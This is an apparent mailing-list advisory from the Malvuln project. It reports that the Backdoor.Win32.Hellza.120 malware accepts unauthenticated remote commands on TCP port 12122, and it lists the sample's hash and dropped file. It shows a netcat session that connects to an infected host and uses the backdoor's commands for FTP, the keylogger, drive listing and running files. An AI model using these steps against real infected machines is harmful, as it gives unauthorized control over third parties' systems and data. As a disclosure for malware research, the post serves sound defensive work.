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Date: Mon, 19 Sep 2022 20:25:22 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Hellza.120 / Unauthorized Remote Command

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21.  Third-party
adversarys who can reach infected systems can issue commands made available
by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)

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